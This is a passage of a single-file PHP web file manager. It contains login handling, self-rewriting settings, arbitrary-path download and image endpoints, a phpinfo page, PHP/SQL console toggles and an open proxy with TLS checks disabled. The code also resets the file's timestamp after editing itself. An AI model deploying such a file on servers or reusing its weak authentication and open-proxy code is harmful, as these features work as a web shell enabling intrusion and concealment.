ZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
	if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return =
!empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post"
action="'.fm_url().'"
style="display:inline">
				<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link,
'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
 cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value"  cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) &&
isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password"
type="password">&nbsp;&nbsp;&nbsp;
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
		header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
	$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy"
value="true">
	'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
	<input type="submit"
value="'.__('Show').'"
class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
		$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width,
initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image:
url("data:image/png;base64,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");
}

.file {
    background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5